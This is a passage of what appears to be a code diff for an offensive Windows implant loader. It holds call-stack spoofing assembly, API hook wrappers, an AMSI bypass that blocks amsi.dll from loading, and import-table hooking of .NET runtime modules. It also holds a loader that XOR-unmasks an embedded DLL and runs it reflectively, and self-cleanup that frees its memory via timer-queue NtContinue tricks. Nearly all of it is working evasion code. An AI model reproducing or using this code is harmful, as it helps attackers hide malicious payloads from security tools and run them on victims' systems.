* crack on and setup a timer
|
||||
* to free the memory regions
|
||||
*/
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
|
||||
|
||||
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
|
||||
{
|
||||
/* give RtlCaptureContext a chance to run */
|
||||
KERNEL32$Sleep ( 100 );
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
#define CTX_COUNT 3
|
||||
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT );
|
||||
|
||||
for ( int i = 0; i < CTX_COUNT; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
/*
|
||||
* we use VirtualFree here because
|
||||
* the loader uses VirtualAlloc
|
||||
*/
|
||||
|
||||
/* the dll */
|
||||
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* pico code */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* pico data */
|
||||
ctx_free[ 2 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data );
|
||||
ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory );
|
||||
@@ -0,0 +1,147 @@
|
||||
[BITS 64]
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
mov r10, rdi ; Store OG rdi in r10
|
||||
mov r11, rsi ; Store OG rsi in r11
|
||||
|
||||
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
|
||||
mov rsi, [ rsp + 40 ] ; Storing function to call
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Storing our original registers
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
|
||||
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
|
||||
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
|
||||
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
|
||||
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
|
||||
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
|
||||
|
||||
mov r12, rax ; OG code used r12 for ret addr
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepping to move stack args
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
|
||||
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [ rdi + 56 ] ; stack size of RUTS
|
||||
add r14, [ rdi + 48 ] ; stack size of BTIT
|
||||
add r14, [ rdi + 32 ] ; stack size of our gadget frame
|
||||
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30 ; offset of stack arg added to rsp
|
||||
|
||||
looping:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [ r10 ]
|
||||
pop qword [ r15 ]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Creating a big 320 byte working space
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, 0x200
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
|
||||
; Need to figure out why this cuts off the call stack
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
push 0
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 56 ]
|
||||
mov r11, [ rdi + 64 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 32 ]
|
||||
mov r11, [ rdi + 40 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 48 ]
|
||||
mov r11, [ rdi + 80 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Adjusting the param struct for the fixup
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
mov r11, rsi ; Copying function to call into r11
|
||||
|
||||
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
|
||||
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
|
||||
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
|
||||
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
|
||||
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [ rdi + 72 ]
|
||||
|
||||
jmp r11
|
||||
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
add rsp, 0x200 ; Big frame thing
|
||||
add rsp, [ rbx + 48 ] ; Stack size
|
||||
add rsp, [ rbx + 32 ] ; Stack size
|
||||
add rsp, [ rbx + 56 ] ; Stack size
|
||||
|
||||
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
|
||||
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
|
||||
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
|
||||
mov r12, [ rcx + 96 ] ; ReStoring OG r12
|
||||
mov r13, [ rcx + 104 ] ; ReStoring OG r13
|
||||
mov r14, [ rcx + 112 ] ; ReStoring OG r14
|
||||
mov r15, [ rcx + 120 ] ; ReStoring OG r15
|
||||
push rax
|
||||
|
||||
xor rax, rax
|
||||
pop rax
|
||||
jmp QWORD [ rcx + 8 ]
|
||||
@@ -0,0 +1 @@
|
||||
#define LOADLIBRARYEXW_HASH 0x753A512
|
||||
@@ -0,0 +1,210 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "tcg.h"
|
||||
#include "spoof.h"
|
||||
#include "hash.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD );
|
||||
DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * );
|
||||
DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t );
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags )
|
||||
{
|
||||
/* get the filename from path */
|
||||
LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' );
|
||||
LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' );
|
||||
LPCWSTR name = back > fwd ? back : fwd;
|
||||
|
||||
if ( name ) {
|
||||
name++;
|
||||
}
|
||||
else {
|
||||
name = lpLibFileName;
|
||||
}
|
||||
|
||||
/* say no to amsi */
|
||||
if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) {
|
||||
/* return without loading (─ ‿ ─) */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* load the module */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
call.args [ 1 ] = spoof_arg ( hFile );
|
||||
call.args [ 2 ] = spoof_arg ( dwFlags );
|
||||
|
||||
/* hold the result */
|
||||
HMODULE module = ( HMODULE ) spoof_call ( &call );
|
||||
|
||||
/* check to see if it's mscoreei.dll or clr.dll */
|
||||
if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 )
|
||||
{
|
||||
/* parse the module's headers */
|
||||
IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module;
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew );
|
||||
|
||||
/* get the import directory */
|
||||
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
|
||||
|
||||
/* walk every imported module */
|
||||
while ( import_descriptor->Name != 0 )
|
||||
{
|
||||
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
|
||||
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
|
||||
|
||||
/* walk every imported function */
|
||||
while ( original_first_thunk->u1.AddressOfData != 0 )
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
|
||||
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
|
||||
|
||||
/* is the imported function LoadLibraryExW? */
|
||||
if ( func_hash == LOADLIBRARYEXW_HASH )
|
||||
{
|
||||
/* yep, hook it */
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
|
||||
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect);
|
||||
}
|
||||
}
|
||||
|
||||
++original_first_thunk;
|
||||
++first_thunk;
|
||||
}
|
||||
|
||||
import_descriptor++;
|
||||
}
|
||||
}
|
||||
|
||||
/* now return the module */
|
||||
return module;
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
HMODULE module = ( HMODULE ) spoof_call ( &call );
|
||||
|
||||
/* was this mscoree.dll? */
|
||||
if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 )
|
||||
{
|
||||
/* parse the module's headers */
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
/* get the import directory */
|
||||
IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module );
|
||||
|
||||
/* walk every imported module */
|
||||
while ( import_descriptor->Name != 0 )
|
||||
{
|
||||
IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk );
|
||||
IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk );
|
||||
|
||||
/* walk every imported function */
|
||||
while ( original_first_thunk->u1.AddressOfData != 0 )
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData );
|
||||
DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) );
|
||||
|
||||
/* is the imported function LoadLibraryExW? */
|
||||
if ( func_hash == LOADLIBRARYEXW_HASH )
|
||||
{
|
||||
/* yep, hook it */
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW );
|
||||
KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect );
|
||||
}
|
||||
}
|
||||
|
||||
++original_first_thunk;
|
||||
++first_thunk;
|
||||
}
|
||||
|
||||
import_descriptor++;
|
||||
}
|
||||
}
|
||||
|
||||
/* now return the module */
|
||||
return module;
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
void * section_dst = NULL;
|
||||
DWORD section_size = 0;
|
||||
DWORD new_protect = 0;
|
||||
DWORD old_protect = 0;
|
||||
|
||||
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
section_dst = dst + section_hdr->VirtualAddress;
|
||||
section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
dll_memory->Sections[ i ].BaseAddress = section_dst;
|
||||
dll_memory->Sections[ i ].Size = section_size;
|
||||
dll_memory->Sections[ i ].CurrentProtect = new_protect;
|
||||
dll_memory->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
|
||||
dll_memory->Count = section_count;
|
||||
}
|
||||
|
||||
void go ( void * loader_arguments )
|
||||
{
|
||||
/* populate funcs */
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* load the pico */
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_code, pico_data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.Data = pico_data;
|
||||
memory.Pico.Code = pico_code;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
|
||||
|
||||
/* load dll into memory and unmask it */
|
||||
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
for ( int i = 0; i < masked_dll->len; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
/* track dll's memory */
|
||||
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
|
||||
memory.Dll.Size = SizeOfDLL ( &dll_data );
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* Pointer to DLL arguments */
|
||||
char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments );
|
||||
// entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value [ ];
|
||||
} RESOURCE;
|
||||
@@ -0,0 +1,37 @@
|
||||
#define MAX_HEAP_RECORDS 32
|
||||
#define MAX_SECTIONS 16
|
||||
|
||||
typedef struct {
|
||||
PVOID Data;
|
||||
PVOID Code;
|
||||
} PICO_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID Address;
|
||||
SIZE_T Size;
|
||||
} HEAP_RECORD;
|
||||
|
||||
typedef struct {
|
||||
HEAP_RECORD Records [ MAX_HEAP_RECORDS ];
|
||||
SIZE_T Count;
|
||||
} HEAP_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ MAX_SECTIONS ];
|
||||
SIZE_T Count;
|
||||
} DLL_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PICO_MEMORY Pico;
|
||||
DLL_MEMORY Dll;
|
||||
HEAP_MEMORY Heap;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -0,0 +1,65 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
#include "cleanup.h"
|
||||
#include "tcg.h"
|
||||
|
||||
MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
/* lpProcName may be an ordinal */
|
||||
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
|
||||
{
|
||||
/* just resolve normally */
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
|
||||
|
||||
/*
|
||||
* result may still be NULL if
|
||||
* it wasn't hooked in the spec
|
||||
*/
|
||||
if ( result != NULL ) {
|
||||
return result;
|
||||
}
|
||||
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
void setup_hooks ( IMPORTFUNCS * funcs )
|
||||
{
|
||||
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
|
||||
}
|
||||
|
||||
void setup_memory ( MEMORY_LAYOUT * layout )
|
||||
{
|
||||
if ( layout != NULL ) {
|
||||
g_memory = * layout;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* throw these hooks in here because
|
||||
* sharing a global across multiple
|
||||
* modules is still a bit of a headache
|
||||
*/
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
